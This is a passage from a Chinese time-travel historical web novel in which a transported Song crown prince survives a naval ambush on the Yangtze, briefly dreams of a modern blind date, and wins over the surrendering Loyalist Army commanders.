此时距宋宇船队不足一千米处,杨妙珍得了信号,转忧为喜,大声说道“:好戏开场了。全军听令,全速前进。登船杀敌。”
只见七十余艘朦艟得了命令,快速地驶向宋宇船队。
宋宇船队西侧,一直躲在礁石之后的吕文德,此时正埋头苦思,自打刚才宋宇他们那边喊杀声起,这吕文德就一直在思考:根据余阶前些时日介绍所说,只言李全截粮,其余之事却只字未提。
但我吕文德可不傻,朝廷上的派系,还是知晓一二的。这李全身后之人便是史弥远。若无史弥远命令,他李全就算胆子再大,也不敢打大宋运粮船得主意。
但自己当日也并未深想。直到刚才王坚那边大乱,自己才回过味来,感情史弥远还有杀招在此。
整场战斗的关键一环,毫无疑问就是自己。我若是不出去救援,太子必败。可太子这几日对自己很是器重,他若败了,自己恐怕再无出头之日。
史弥远并未结交过自己,这条线自己肯定搭不上。就算坐看成败,最后史弥远胜了,大概率会因为太子这几天亲近自己,从而把自己列为太子那一派。
想通透这一点后,吕文德决定在太子身上赌一次。可吕文德马上又开始左右为难,现在自己这边之所以还相安无事,只因下了死命令,谁都不许动。
可一旦下令前去营救,万一万一埋伏在自己船队的奸细也趁乱而起。岂不是救人不成,反倒深陷囹圄?
吕文德这边左右为难。埋头苦思,到底如何才能清除这船上的奸细?
战事不等人,就在刚才,斜刺里又杀出一军,正是杨妙真的主力船队。快速奔王坚那边冲过去。
这吕文德是更加焦躁。只见他在船上背着手,踱着步。飞快的运转自己的大脑,想那破敌之策。
一旁一直跟随吕文德的程保,自打刚才宋宇那边乱了,便在旁不停的催促吕文德发兵去救,此时又一贼军出现,更是让程保恨不能游过去,但看吕文德也是满头大汗,急的如热锅上的蚂蚁,只好闷坐在一旁干着急。
第五十二回 列阵入江口 水战忠义军 (叁)
宋宇船队,宋宇座船,面对周围混乱的情况,宋宇低头沉思了好一会,期间数人冲着宋宇偷袭,都被余阶小小合力放倒。
宋宇不禁暗道:自己这边之所以能解决冲过来的卧底,无非是我和余阶小小两人互相认识,面对冲上来之人,可以毫无顾忌地解决。
可别的士兵就没这个优势了,该死,难道今晚上要栽?
正在无计可施之时,宋宇无意间扫了一眼地上死尸,突眼前一亮,紧皱的眉头顿时松懈下来,一脸兴奋得说道“:我晓得如何破此局了,你二人且看。”
言罢,指着地上几具死尸,继续说道“;这几人竟无一例外,皆在右臂绑了布条。想来是怕误伤自己人。故意做的记号。”
一句话立马点醒了余阶,只见余阶同样兴奋的对着旁边船只喊道“:太子殿下有令,凡右臂缠有布条之人,皆是奸细,可速速除之。”
王坚船上,王坚听了宋宇命令,顿时大喜,四周看了看,发现缠有布条之人虽然有,但却并不多。
一把推开了身前军士,大声喊道“:众将听令,随我喊话,凡右臂缠布者,格杀勿论。”
边说着,边抡着大刀,一刀劈向了旁边一缠有布条,正在厮杀的贼人。
经过一番血战,浑水摸鱼的贼人已经所剩不多,周围船上渐渐恢复了平静。王坚见此,深深吐了一口浊气,抬起胳膊想要擦汗,哪知船身却猛地一晃,一声巨大碰撞传来“:咚...哐...”
王坚尚未明白过来怎么回事,周围立马有军士喊道“;大事不妙,贼兵登船啦。”
王坚见说,神色一凛,慌忙跑向船舷,四下一看,只见自己船队前方被密密麻麻的朦艟包围,刚才那声巨大的响声,便是朦艟那铁质船头,**自己战船得声音。
王坚大惊,忙大喊道“:全军戒备,小心贼人登船,速速发信,唤吕将军来救。”
吕文德船队,只见程保满脸痛苦色,大声说道“:将军,已经打起来了,再不去救,若殿下有失,你我同样死无葬身之地啊。”
吕文德此时已经急的浑身颤抖,似羊癫疯般的说道“;容,容本将,再想想,再想想。”
语毕也不管旁的程保如何再大声嚷嚷,继续思考起来:想要清除奸细,得先想好,倒底这间隙是我建康水营,还是他澉浦水营之人。须知自己和王坚在建康选兵之时,为了方便指挥,便将两营水军来了个对半分。建康水营的那一半人马,由自己带来了这里埋伏。方才作乱的,乃是澉浦水营。但若是两地水营,史弥远皆已收买,那可又大大不妙了啊。这两个水营,皆是三司统辖。归根到底,都是人史弥远的私兵。即使两边都收买了,那也不奇怪啊。
想到这里,吕文德突灵机一动,对着旁边军士大声喊道“:这几日咱建康水营中,有多少陌生面孔去和统制大人长谈过?只要答得出,每人一两银子。”
此话一出,周围顿时响起一阵窃窃私语。只听得众人次第禀报道“:这几日统制大人多憋在营内,曾唤小人去青楼帮他找过几次姑娘。”
“:出发前,统制大人曾唤过几次郎中。似是身体不太舒服。”又有人答道。
就这样,众人你一言我一语,争相为了银子抖搂统制得私生活。
不过多是些没营养的话题。只见这吕文德越听这些废话,越是欣喜,此时他已经确定,自己船上不会有间隙。只见他一脸开心的伸出右手,打住了众人言语,大声喊道“:全军听令,驶出礁石,包抄敌军之后,与王将军合围贼人。”
话一说完,一旁的程保早已憋不住了,大声又附和着喊了数遍。才一脸笑呵呵对吕文德拱手道歉道“:将军,是在下误会你了,本以为将军是那贪生怕死之辈,故而方才言语有失。还请将军降罪。”
吕文德满不在乎的摆了摆手“;你可是殿下的近侍与兄弟,吕某想要结交还来不及,岂会怪罪于你?”言罢,哈哈大笑。
一旁的程保听这吕文德言语中充满了善意。忙不迭在旁点头赔笑“:将军高看在下了。实是殿下,看在下忠厚的份上,这才结交为了兄弟。”
吕文德听着程保只因为忠厚就能和太子结为兄弟,心中不禁暗道:忠厚?在方今这世道,忠厚岂不是要埋没一辈子。也就你,运气好,生在了太子身边。换做我,忠厚就是催命符。
那边吕文德发兵,这边,忠义军,杨妙珍船上,此时刘全是面露喜色。津津有味的看着百十米外,杀声四起得宋宇船队。
只听刘全在旁得意的说道“:这大宋有史弥远这号人物,灭亡只是迟早之事啊。”
哪知在旁的杨妙珍,却面露愁苦之色,叹息着说道“:唉。李全真是糊涂,无端端为了这史弥远,死伤无数兄弟。实在可惜。”
杨妙珍话音刚落,身后一道浑厚的男声传来“:四娘子,待此战了了,俺二人便不回李全处了。”
杨妙珍听了那人话语,转过头无奈的打量着身后之人。只见此人浑身湿透。正在两个军士得搀扶下,梗着脑袋生闷气。
原来是初战失利的彭义斌,话说方才幸亏彭义斌反应快,拉着死党霍仪跳入水中,这才侥幸捡下条性命。
而霍仪明显点背得多,背上中了一箭,此时已抬入舱内救治。是死是活尚不可知。
“:彭兄弟,方今北方遍地狼烟,战火不熄。你若舍了李全这棵大树,恐怕粮草都成问题。”杨妙珍温柔的劝彭义斌道。
哪知彭义斌却并不买账,依旧板着个脸,恨恨的说道“:四娘子也知北方遍地狼烟?想当初俺二人投奔四娘子父女二人,是看重你父女二人劫富济贫,替天行道的义行,可自打你父亲去世后,李全接管忠义军,这忠义军还名副其实吗?四娘子俺问你,你为何听信那李全之言,来这南方父母之国与我大宋子民自相残杀?俺们与这父母之国,有…何…冤…仇…”
说道最后,这七尺高的汉子,几乎是用尽了全身力气嘶吼出来的。
杨妙珍被这彭义斌一通呵斥,顿觉尴尬无比。想再劝,却偏偏自己不占个理字。
正在这当口,身旁刘全开
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口了。只见这刘全一脸鄙夷得对彭义斌说道“:彭兄弟,长能耐了。翅膀硬了想飞了是不是?你可知当年你兵败势穷,前来投李我们之时,李总管可是待你如亲兄弟般。再者说,李总管这次行动,还不是为了给兄弟们换口饭吃?你如此误解李总管,岂是做兄弟之所为?”言毕,也将脑袋一歪,做出一副瞧不起彭义斌的样子。
彭义斌被这刘全一通鄙视,并未回心转意,正要开口回击。却听周围报警锣声四起“:哐哐哐...不好啦,身后敌船来袭...”
杨妙珍一听身后敌船来了,也顾不得再劝这彭义斌,赶忙跑到船尾,四下寻找敌船踪影。
只见自己侧后方数百米处,正有十数艘战船借着朦胧的夜色,快速向自己船队驶来。杨妙珍不敢怠慢,慌忙发令道“:众将士听令,前锋继续猛攻敌船,不得停歇,其余船只,调转船头,迎击后方来敌!”
但仍是慢了一步。所谓一步慢,步步慢。吕文德的战船已经摆好阵势,开始倾泻弓箭炮石。
漫天的箭雨炮石,已经在四周炸开。杨妙珍周围惨叫声四起,
吕文德座船,吕文德正和程保站立在船头哈哈大笑,只见这程保边笑边说道“:吕将军,想不到,这些个天杀的,也有如此狼狈之时。”
“:哈哈哈。这贼兵将领不识水战,竟将船只如此集中。岂不是作了我等的活靶子?我等也不用着急,且先射他一阵。再冲上去收拾残局便罢。”吕文德一脸得意的说道。
“:这,吕将军,还是先冲上去吧?若是殿下有个闪失,你我万死难抵其罪啊。”程保在一旁催促道。
“:莫慌。我等皆是大船,冲上去丝毫占不得便宜。况且就算冲上去,恐怕也会被数倍敌军包围。到时非但救不了殿下,恐怕自身都难保。吕某以为,此时应当发挥我大船的优势,远程牵制敌军。尽量将敌军吸引过来。若如此,殿下那里压力骤减,只要能撑个把时辰,此战胜负既定。”吕文德收了笑容,冷静的对程保分析道。
程保虽不懂水战,但还是听了个大概,感情冲上去,反倒是合了贼人心意。想到此,忙一脸歉意的对吕文德说道“:在下鲁莽,险些坏了将军大事。还请见谅。”
且不管吕文德如何盘算,此时大宋船队,宋宇座船,敌军已经有数艘战船,冲破王坚防线,来到宋宇船下,此时纷纷抛出钩锁,放下木板,次第登船。
敌人数量不少,己方因为细作自相残杀,已经兵力大减。双方刚一交手,山东义军战斗力又明显碾压己方水军。
万般无奈下,余阶呼唤所有剩余兵丁,组成盾阵,将宋宇和小小围在盾阵后面。又让持刀或**携带**的士兵在盾阵后射击。
就这样边打边撤,直到撤至战船船尾,退无可退。双方再次隔着盾牌,短兵相接。
但随着登船的贼兵越来越多,宋宇身边的士兵在快速的减少。宋宇也只好补位抽出仁剑厮杀。好在这几月剑法精进,又躲在盾牌之后,宋宇一连刺死数个冲上来的贼兵。
第五十三回 列阵入江口 水战忠义军 (肆)
小小则躲在宋宇身后,不时用火铳攻击对宋宇有威胁的贼兵。铳声巨大,对贼兵极具震慑力。小小更是弹无虚发,铳铳夺命。
可终究是猛虎架不过群狼,宋宇看着身边人越来越少,盾阵也越缩越小,不远处余阶更是杀的鲜血染衣襟,疲态尽显。
眼见在这么损耗下去,战败是早晚的事。身临险境,性命朝不保夕,宋宇还是头一次,只觉得心跳不受控制的加速在加速,几乎要跳到嗓子眼了。
却在这时,宋宇脑海里浮现谢道清的面容,那寸寸青丝,如花容颜,让宋宇不禁心头一暖,让濒临绝境的窒息感,也稍有缓释。
唉......幸亏没带清儿上船。不然真是害了人家姑娘?只可惜了面前这些人,无端端因为自己的到来,丢了性命。是自己自私自利,为了保命,强行拉扯这么多人为自己陪葬。
话说如果还是前太子,在家纵情声色,三年后直接投胎,能让好些人不用死呢。
想到此,宋宇心中有愧,语带颤抖的,对正在厮杀的小小和余阶说道“:两位,对不住了。是我一己之私,为了保命拉你们下水。是我害了你们。”
余阶此时满身大汗,一脚踹开身前敌人,大声说道“:殿下切莫自责,小弟跟随殿下征战,实是三生有幸。况且现今形式,并未到那船毁人亡的地步,小弟这一身本事,也不是白练的。”言毕,余阶持剑连刺数人,招式犀利,快如闪电。
小小躲在宋宇身后,正在装填**。听宋宇莫名其妙的一番话语,知道他心情低落,忙温柔的劝导宋宇”:殿下,现在不是分心的时候。我一小女子尚且有信心打赢面前这些贼兵,殿下一个堂堂男儿郎,怎么还不如我一小女子?“
**装填完毕,小小一铳射出,**宋宇的一贼当时额头被火铳洞穿。宋宇解围,持剑一个虚晃,割开了另一贼人的脖颈,结果了那人。
两人的配合,一气呵成。让余阶夸赞连连“:小小姑娘说的是,想我余阶贱命一条,若非殿下,还不知在临安哪条街上要饭呢。像殿下这样不看出身的贵人,我余阶能够相识相交,真不知是几辈子修来的福分。”
相较于宋宇那边,王坚这边也好不到哪去。同样发生了内乱,又处在最前线,此时王坚得盔甲早已被血水染红。
而在王坚周围,只剩四人尚未战死。但此时王坚脸上,却没有宋宇的失落。反倒是满脸兴奋,只见他狂笑着喊叫道“:哈哈哈......妙哉,妙哉,爷爷总算能杀个痛快啦。自打从军后,学得一身本事,还未真正施展过。今日且让爷爷试试这大宋水**法,究竟能杀几多贼人?”
言毕举刀向前,冲着登船的贼人,继续杀将过去。活脱脱一魔王在世。
就在这千钧一发,战事焦灼之时,在宋宇船队后方,粮船上,赵国正听一从水中捞上来的士兵禀报“:赵大人,王将军有令,前方殿下被围,命在旦夕,还请速速发兵往救。”
赵国一听太子被围困,也不管自己是不是粮船,更顾不得许多命令了,结结巴巴大声嚷嚷道“:众,众兵士。听令。速速速。去。援救殿下。”
一听这命令,旁边立马有一传令兵模样之人劝道“:赵将军,万万不可,粮船无有炮**,况且大多兵士都已被二位将军抽走,此时每船不足二十人,如何能上得了战场?”
“:你,你你。这贼杀才。滚一边去。就算只剩我。我一人。我也要去救殿下。”
言毕,一把推开传令兵。指挥众船起锚,奔着千米之外,两军交战之地快速驶去。
宋宇船上,宋宇等人已经和贼人相持了近半个时辰,只见余阶边厮杀,边大口喘着粗气对宋宇说道“:殿下,小弟,呼。小弟无有气力了。你。你与小小姑娘跳水逃生吧,还好这些贼人只围住了船头,船尾江上尚无贼兵。小弟,呼......小弟为你二人断后,只待保得了性命,在替小弟报仇。”
宋宇听了余阶一席话,双目不禁湿润“:我说过,要与余兄弟你同生死,你现在让我扔下你独自逃生,莫不是让我背信弃义?我若做出那等龌龊之事,将来又有何脸面去见其他兄弟?又有何面目面对天下百姓的目光?”
言毕,劈倒一贼,却也是浑身大汗,几近力竭。忙弯腰深呼吸,小小则举铳射击,妄图给宋宇多争取一些大口喘气的机会。
就在宋宇大口喘气的当口,贼兵再次扑上来。宋宇身前最后两名持盾士兵被砍倒。
眼见宋宇身前再无遮挡,余阶捡起一面盾牌,几个翻滚来到宋宇身前,遮挡着宋宇小小两人向着船尾角落退去。
一连刺死几个贼兵后,余阶不愿再过多耽搁时间,回身对着宋宇来了句“:殿下,往后的路还长呢,你我可不能死在这里。今日小弟得罪了。”
言罢,余阶将盾牌冲着冲上来的贼兵一甩,暂时阻挡了他们片刻,随即转身,左手搂住宋宇,右手拉住小小,一个猛扑,跳向了滚滚长江。
宋宇被余阶这突兀的举动打了个措手不及,在空中喊了句“:余老幺,我不会,我不会游。”
未待话说完,只听“噗通”一声,宋宇平躺着,跌入了深不见底的江水之中。努力的扑通了几下,却无法阻挡自己下沉的速度。在头部尚未彻底沉入江中之时,宋宇喊了句“:你们俩快跑,别管我。”
随即彻底沉入水中。看着离船底越来越远,宋宇眨了眨眼:完了,这回梦要醒了。
随着冰冷得江水,不断地被宋宇吸入肺中,宋宇只觉得眼皮越来越沉。慢慢的。闭上了眼。
“:有房没?唉?我说你这人怎么这么奇怪啊?相亲都能睡着。”一个普通的小饭馆里,靠窗位置,只见一个打扮花哨,涂着艳丽口红的女人,用双臂推着面前睡着的男人说道。
面前的男人睁开了眼,“:啊,好刺眼。都天亮了?余阶?”男人赶忙用右手遮住了双眼,避免阳光刺激。
“:神经......”女人一脸鄙视的说道。
许久,男人才适应过来强光环境。放下了遮挡双眼的右手,仔细打
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量着面前这位女子“:你是,肖娜?”男人吃惊的说道。
随即迅速的向四周扫了一眼“:这里是我们第一次见面的地方?我又回到现代了?”
肖娜显然对这男人失去了信心,只见她从兜里掏出了打火机,点燃了嘴里叼着的香烟,很惬意得吸了一口“:别踏马跟姐在这装睡?你这样的,姐见得多了。又想结婚,又不肯花钱,没品。”
宋宇一脸尴尬地解释道“:没有,我是真睡着了。”
“:得得得,醒了就好,我问你,有房没?”肖娜一脸鄙视得问道。
宋宇摇了摇头。
“:有车没?”肖娜继续问道。
宋宇再次摇了摇头。
肖娜越来越不耐烦“:那你有什么?”
话到这里,宋宇咧嘴露出一丝笑意,一脸深情地答道“:我只有这条命,我会用余下的岁月。陪你走完这漫长而又无聊地一生。”
“:拜拜了,玛徳,又碰上一神经病。这踏马得婚介所,是精神病院开的吗?”
肖娜彻底失望了,生气的站起身,边自言自语,骂骂咧咧,边将香烟打火机,统统收入了皮包。转身就要离开。
“:你追的东西未必能让你快乐。”宋宇站起了身,对着肖娜说道。
“:我可没时间陪你这小孩玩过家家,拜拜了。”肖娜冷冷的回答道。
“:我有,我有钱。”宋宇挽留道。
“:哦?看不出来,哥哥还是个大款。”一听宋宇说有钱,肖娜立马对宋宇提起了几分兴趣。
换了副面容。饶有兴致的重新坐下,一脸谄媚的问道“:哥哥有多少钱?”
“:你我才刚认识,我怎么可能告诉你?”宋宇故作谨慎的说道。
肖娜并未生气,起身搬着椅子,坐到宋宇旁边,将两只手,挽到了男人腰上“:那从今天起,哥哥可要好好对我喽。”
大宋船队,宋宇座船后方长江中,漂浮在水中的小小不住的大喊“:殿下,殿下!糟了,殿下不会游泳。”
船上贼兵中也有**喊“:玛徳,杀了我们这么多兄弟,这三个活阎王,还想跑?有没有水性好的?下去把跳江这三人杀了。回去重重有赏。”
几个小兵一听有赏,顿时眼中放光,纷纷跳下水去。
余阶从水中露出头来,听到小小的喊叫,又见船上跳下几个贼人,忙对着小小大喊“:这几人交给我,你快去救殿下。”
小小深吸一口气,潜入水中寻找宋宇。余阶在水中与三人厮杀起来,不多时刺死一人,鲜血如凄美的血花,在江中绽放。
就在这万分危急的时刻,赵国率领的粮船从黑暗中冲出,待看到宋宇座船上全是贼兵,赵国大喝一声“:攻击!”
站在粮船上的十数名士兵纷纷射出**箭,像割麦子一样,将前排贼兵尽数放倒。
“:不好,敌军援兵来了,快,快后退。”一贼兵头目大喊道。
“:赵兄弟,你来的真是太及时了。”余阶此时已将跳下水的贼兵悉数刺死在江中,回头对着赵国喊道。
第五十四回 列阵入江口 水战忠义军 (伍)
余阶话音刚落,恰好小小也从江中露出脑袋,背上还背着已经不省人事的宋宇,小小看到赵国的一霎,兴奋不已,摇着手臂大喊“:赵国,快,救救殿下。”
片刻后,宋宇被救上粮船,余阶赶忙命令两个士兵将宋宇头朝下倒掉,不停跳起落下,利用颠簸让宋宇吐出腹内江水。
“:殿下,殿下,快醒醒。”赵国抱着浑身湿透,不知死活的宋宇大声疾呼。
“:咳,咳咳咳。”随着浑身猛烈的抖动,宋宇猛咳了几口水出来。慢慢的睁开了双眼。
发现自己正躺在赵国的怀中“:怎的?谁欺负你了?哭得如此伤心?”宋宇木楞楞的,虚弱的询问赵国。
赵国用右胳膊擦了擦眼泪“:殿下,你你你,方才可吓死小弟了。”言毕,赵国喜极而泣。
宋宇对着他们几个微微的笑了笑,暗道:方才自己发生的一切,与崖山海战失利后,陆秀夫背着小皇帝跳海殉国何其相似。如果自己没记错,那个小皇帝才八岁。
转过脸,看了看四周,只见东方已经泛起了鱼肚白。晨曦照在江面上,一线红光在江面上延申。
不远处,喊杀声依旧未曾停止。时而伴随着炮石轰鸣之声。静与动,血腥与安逸。在这一刻,构成了这长江上不同寻常的晨景。
强自挺了挺身,宋宇摆脱了赵国的束缚,四处打量了一圈,就见少了余阶,忙一脸严肃的问道“:余阶他们还好吗?谁把我救起来的?战事如何了?”
“:殿下,是小小姑娘救了你。救下你之后,余阶兄弟又带领其他粮船去杀贼了。至于战事,没有什么意外的话,我军必胜。”
宋宇先对着一旁小小露出一抹意味深长地笑容“:多谢。”
小小微微倩礼“:这是奴家该做的。”
没有过多言语,宋宇将胳膊搭在了赵国肩上“;扶我起来。”
言毕,便在赵国的搀扶下,虚弱的走到了船头。
打眼向战场望去,只见不远处的江面上,密密麻麻都是己方粮船与战船,忠义军则被围在了正中。
王坚座船,王坚笑着对余阶拱了拱手“:多谢余兄弟前来相救。若在晚来个一时半刻,小弟怕是会力竭而死。”
余阶一脸苦笑,用衣袖擦了擦脸上的血渍“:还好粮船擅自做主,及时出现,不然,我怕是也在江中喂了鱼虾。”
说到这里余阶不禁打了个冷战,不敢再继续说下去。
“:此时贼人所剩二十余条朦艟,皆被我等死死围住。谅他通天本事,也难突围而出。”王坚一脸严肃的说道。
“:两位大人,殿下朝咱们这边来了。”传令兵禀报道。
两人一听,大喜过望。赶忙向船尾走去,迎接宋宇到来。不多时,两船相接,宋宇在赵国得搀扶下,小心谨慎的穿过了登船板。
落地后,就见余阶满脸愧色,双手抱拳说道“:殿下,小弟鲁莽,不知您不会水,还请殿下责罚。”
宋宇轻轻拍了拍余阶肩膀“:不知者无罪。还好余兄弟你也没事,你若**,我可就没有偶像了。”
余阶赶忙跪地,“:多谢殿下不罪之恩。”
“:凭般多礼数?**病又犯了。快快起来,告诉我战事如何了。”宋宇赶忙劝道。
余阶不好意思的挠挠头,知道现在不是谢来谢去的时候,赶忙起身,将现在的情况详细介绍给了宋宇。宋宇听完,也是面露喜色。
略一寻思,对着两人说道“:打到现在,双方均损失惨重,本殿下打算劝降,两位意下如何?”
“:全凭殿下吩咐。”两人异口同声的回答道。
宋宇见无人反对,便领着众人来到了船首。只见双方此时已停止了互攻,只是僵持在一定距离。
但细一寻思,便可知晓,这段距离,只有利于宋宇这方,毕竟对方远程攻击有限。
宋宇也不废话,直接对着王坚说道“:我喊一句,你喊一句。”
王坚领了声喏,只听宋宇喊道“:忠义军将领何在?出来答话,我乃太子赵竑。”
许久,才有一女声传来“:我乃忠义军杨妙珍,太子殿下有话,但讲无妨。”搭话之人乃是杨妙珍。只见她一脸愁苦之色,站立在船头。大声回话道。
“:想不到真是四娘子指挥,幸亏吕文德远程牵制住了大部分敌军,不然若是让这四娘子登船,我等岂是对手?”一旁王坚听得对方自报家门,心有余悸的说道。
宋宇虽未曾见识过这四娘子的身手,但听王坚一直夸赞,心中顿时起了收服之意,对着忠义军船队喊道“:我大宋与你忠义军乃是一脉相承,今日不知为何,贸然劫我大宋粮草。”宋宇故作愤怒得问道。
“:妙珍,这赵竑小儿,摆明了是要羞辱我等,要娘舅说,不若全力一搏,或与还有冲出去的可能。”杨妙珍尚未开口,刘全在旁激动的说道。
杨妙珍此时心情十分低落,又听得娘舅所说,叹了口气“:今有此败,全因妙珍不识水战所致。”
言毕,四下看了看所剩不多的船只兵丁,愈加惆怅“:这些兄弟,都是当年奔着爹替天行道,劫富济贫的名头投奔而来。那时我还是个六七岁的小姑娘。时光荏苒,转眼十余年过去,这些兄弟却因为史弥远的权谋斗争,将性命丢在了这长江之中。不免令人唏嘘。我们到底是为了什么而战?若再让这些兄弟为了保护我突围,全军覆没,我又于心何忍?他日又有何面目,与家父相聚于九泉之下?我看那太子并无赶尽杀绝的意思,不若。”
杨妙珍话到此处,‘呲啦’一声,抽出佩剑,比在脖颈处“:不若身死,众位兄弟归降活命便是。”语毕,闭目就要自刎。
“:四娘子,可不能做糊涂事。俺们降了父母之国,不丢人。”彭义斌见杨妙珍欲要轻生,赶忙出言劝道。
“:妙珍,彭兄弟所言极是。娘舅我老糊涂了,刚才不过是气话。你可千万别想不开,退一步讲,即使我等降了,想必那史弥远,也会从中说和,早晚有
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一日放我们回山东。虽受一时之辱,总比丢了性命好。”刘全看杨妙珍想不开,吓坏了,吐出一大堆驴唇不对马嘴的说辞。
杨妙珍听了两人所劝,这才缓缓的睁开了双目,正待开口,宋宇又传来数言“:本太子素知忠义军大名,此事定然是受那小人蛊惑,四娘子不若弃了兵器。登船一叙。可好?”
这几句话,彻底让杨妙珍放下了手中铁剑,只听她自言自语道“:这太子,言语中没有一丝埋怨之意,还十分客气,罢了,且看他葫芦里卖的什么药?”
“:玛徳,他胜了,他就是大爷。只待过了此劫,我等莫再招惹这煞星便是。”刘全见四娘子被宋宇说动了心,长叹口气,甩出这么一席话。
“:哼,匹夫。”彭义斌一听这刘全,事到临头还耍嘴皮子,鄙夷的说道。
“:唉?你,罢了,老夫不与你这厮一般见识。”刘全被人无端端羞辱,想要还嘴,可看看彭义斌那一副要**的表情,又硬生生把话憋回了肚里。
“:诸位兄弟,太子殿下网开一面,放了我等,速速弃了兵器。随我去拜见太子殿下。”杨妙珍并未理会斗嘴的两人,此时,他对宋宇产生了兴趣,想要去看看这位,平素声名狼藉得太子,究竟是何等人物?
只见周围忠义军听了杨妙珍命令,纷纷弃了兵器,在杨妙珍指挥下,缓缓驱船,游向宋宇所在。
“:殿下,还需小心这四娘子诈降。此人武艺了得,若是趁此时机,想要取殿下性命,只怕易如反掌。”
王坚看到忠义军接受了劝降,向自己等人而来,小心提醒宋宇道。
宋宇笑着摇了摇头“:王兄弟多虑了,我与这四娘子平素无有冤仇,今次想来,也是个误会。再者,平素老听你夸赞她如何如何,想必声名在外的她,不会扔了面皮出尔反尔。”
“:殿下所言甚是,是小弟多虑了。”王坚听了宋宇解释,深以为然,赶忙说道。
不多时,杨妙珍彭义斌三人登上了宋宇战船,不待宋宇开口,杨妙珍一众,率先跪拜道“:罪民杨妙珍,率手下一干兄弟,拜见太子殿下。”
宋宇由于虚弱,微微的抬了抬右手“:素闻四娘子大名,今日相见,本殿下甚是欣喜。你等且起来说话吧。”
杨妙珍听了宋宇吩咐,缓缓站起身来,但却并未抬起头,而是低着头偷偷瞄着面前自称太子之人,只见这太子,头顶白玉金龙冠,身披双龙戏珠锦绣袍。
模样吗,细皮嫩肉的,活脱脱一小帅哥,只是面色差了些,太白了。惨白惨白的。直比的周遭众人,黑了许多。
如果宋宇此时知道杨妙珍嫌自己脸白,估计能气的吐血。其实宋宇平素虽然白了些,但还算正常范围。
只恨今日由于落水,喝了个饱。使得白上加白,变惨白。
“:咳恩,杨姑娘,且抬起头来,这里又不是朝堂,无须如此拘谨。”宋宇看这杨妙珍竟做起了女儿态,一时大感不适,赶忙劝阻道。
第五十五回 列阵入江口 水战忠义军 (陆)
“:谢殿下。”杨妙珍称了声谢,缓缓的抬起了头。
宋宇上下一番打量,只见这四娘子,女相中带着几分男性的英俊,男相中带着几分女性的柔美,不管从哪个性别角度去看,都十分养眼。
再加上红披风,黄铜甲,看上去既英俊,又有几分娇艳。
“:殿下?”杨妙珍看宋宇盯着自己愣神,出言提醒道。
“:啊。本殿下又出丑了,杨姑娘且莫见怪,咱接着聊。”
宋宇收回赞赏的眼神,继续问道“:不知杨姑娘身后两位,如何称呼?”
杨妙珍却并未有责怪宋宇长时间欣赏自己美貌之意,见宋宇问起,拱了拱手,依次介绍道“:这位是妙珍得娘舅,刘全。这位是我忠义军的兄弟,彭义斌。”
“:啊?彭义斌?”宋宇听到杨妙珍介绍那人叫彭义斌,差点没惊得跳起来。
彭义斌挠了挠头,向前走了一步“:殿下,俺就是彭义斌。只是不知殿下为何如此惊讶?”
宋宇此时已有些不悦,指着彭义斌说道“:你,李全糊涂也就罢了,你怎生也作出如此糊涂事?”
彭义斌看这太子撇下别人,单单质问自己,顿时丈二和尚摸不着头脑“:殿下,这,这要从何说起?殿下听说过俺?”
宋宇并未放过他,继续生气的说道“:想你彭义斌一世英名,竟然让本殿下给毁了。”
不怪宋宇如此,这彭义斌,可算是宋宇颇为喜爱的历史人物。有血有肉,宁死不屈。
以孤城无援之势,大败背信弃义的李全,之后更是厌恶李全窝里斗,愤然北上,与蒙古主力决战于五马山,却因汉奸出卖,不幸战败被俘,至死辱骂不停。
这可以说是这个时代,唯一一个敢于北上,与蒙古争雄的汉人英雄。就是那臭屁的大金国,也只会丢人现眼的说,北边损失,南边补。蒙古人欺负不过,咱就欺负汉人,汉人好欺负。
可现在,因为宋宇的到来,这彭义斌名节不保了。
彭义斌看着一脸愠怒的宋宇,一时无话可说,耷拉着脑袋。默不作声的,听着宋宇劈头盖脸的责问。
一炷香之后“:殿下,彭将军看来知错了,您就歇歇吧。俗话说,士可杀不可辱,您都辱了一刻钟了。”
余阶看宋宇在那对着彭义斌,足足说教了一炷香的时间,赶忙劝阻道。
宋宇舔了舔干裂的嘴唇,看着面前被自己训的跟孙子似的,耷拉着脑袋的彭义斌说道“:罢了,彭将军,糊涂啊,你。你也别走了,就呆在本殿下身边赎罪吧。”
“:啊?”本以为这殿下如此恨自己,自己这次在劫难逃,结过到头来这殿下却说出这样一番话,登时雷倒了面前的彭义斌。
“:怎的?不愿意?还想回山东做你的山大王?”宋宇一听彭义斌惊呼,满脸怒气得质问道。
“:殿下,误会,俺一身本事,就想着报效父母之国,只可惜,朝廷不许俺们北人将领南归。故尔只能在山东混吃等死。今殿下不弃,俺岂敢推辞,只是还请殿下恩准,俺还有个兄弟,名唤霍仪,虽本事平平,却甚为忠义,殿下不若将他也一并收在麾下。俺感激不尽。”
宋宇一听,彭义斌还有个兄弟。心中登时快活不已。暗道,这次京湖可算是来对了。
忠义军少有的两个明白人,全都收在了麾下。剩下那些个剩菜帮子,烂菜叶子,都留给李全吧。
“:妙哉,彭将军,你手下不管多少兄弟,尽可来投本殿下。本殿下绝不拒人千里之外,不仅如此,从今日起,你便是我赵竑的兄弟。共患难,同生死,彭兄弟意下如何?”宋宇一脸开心的说道。
“:俺,山野草民,岂敢与殿下称兄道弟?”彭义斌一听宋宇要兄弟相称,一脸惊恐加诧异的跪在地上拒绝道。
宋宇眼见彭义斌对自己的安排受宠若惊,哈哈大笑“:哈哈哈......彭兄弟且起来看,我身后这两位,皆是布衣出身,不也与我兄弟相称了?”边说着,边指了指身后王坚余阶两人。
余阶王坚两人相视一笑,并未对宋宇收彭义斌为兄弟之事,感到反感。看着眼前山东彪形大汉身板,却表情憨憨的彭义斌,两人也觉得宋宇收兄弟得眼光不错,分别对彭义斌微笑着,点了点头。
余阶本就以智谋见长,自打刚才宋宇对这彭义斌一通说教,余阶便知道,今日怕是要再多出个兄弟了。
彭义斌抬头看了看一脸肯定得宋宇,又看了看宋宇身后,向自己投来赞同目光的余阶王坚,知道自己在矫情,就是不是抬举了,只见这七尺高的山东汉子,眼眶湿润,粗声粗气道“:小弟,犯此大错,殿下不怪罪,已是大恩,又承蒙殿下看得起小弟,结为了生死兄弟。小弟是个粗人,不会讲漂亮话。余生原为殿下马前卒,披坚执锐,虽死无悔。”
宋宇赶忙让余阶二人将他搀起“:以后啊,都是自己兄弟了,别再跪来跪去了。本殿下最烦那些个俗礼。”
言毕,又转头看了看旁边杨妙珍两人,只见此时两人皆面露惊愕之色,似是对宋宇片刻间收了彭义斌,又和其结为兄弟的举动所震撼。
